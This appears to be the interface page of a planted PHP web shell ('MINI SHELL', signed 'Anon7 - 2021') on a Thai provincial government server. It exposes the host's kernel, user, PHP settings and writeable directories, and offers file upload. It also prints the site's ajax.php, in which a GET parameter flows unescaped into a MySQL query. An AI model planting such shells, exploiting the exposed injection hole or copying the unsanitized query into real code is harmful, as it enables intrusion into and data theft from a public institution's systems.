MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /home/pathumthani_integration/integration/application/pauper_surway/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/pathumthani_integration/integration/application/pauper_surway/ajax.php
<?php
	@session_start();
	include "../../config/config_epm.inc.php";
	include("../../inc/function.php");
	
	
   $t_id = substr($_GET['TbID'],0,4);
	header("Content-Type: text/html; charset=windows-874"); //แก้ไขปัญหาการดึงข้อมูลภาษาไทยออกมาเป็น '????€$234'
	if ( $_GET['TbID'] ) {
		echo "<select name=\"public_tambol\" id=\"public_tambol\" onchange=\"chgMoo(this.value);\">";
		echo "<option value=\"\">เลือกตำบล</option>";
		$am = mysql_query("SELECT ccDigi,ccName,ccType FROM ccaa WHERE ccDigi LIKE '$t_id%'  and  ccType ='Tamboon'");
		while( $ram = mysql_fetch_array($am) ) {
				echo "<option value=\"".$ram['ccDigi']."\" >".$ram['ccName']."</option>\n";
		}
		echo "</select>";
	}
	
?>

Anon7 - 2021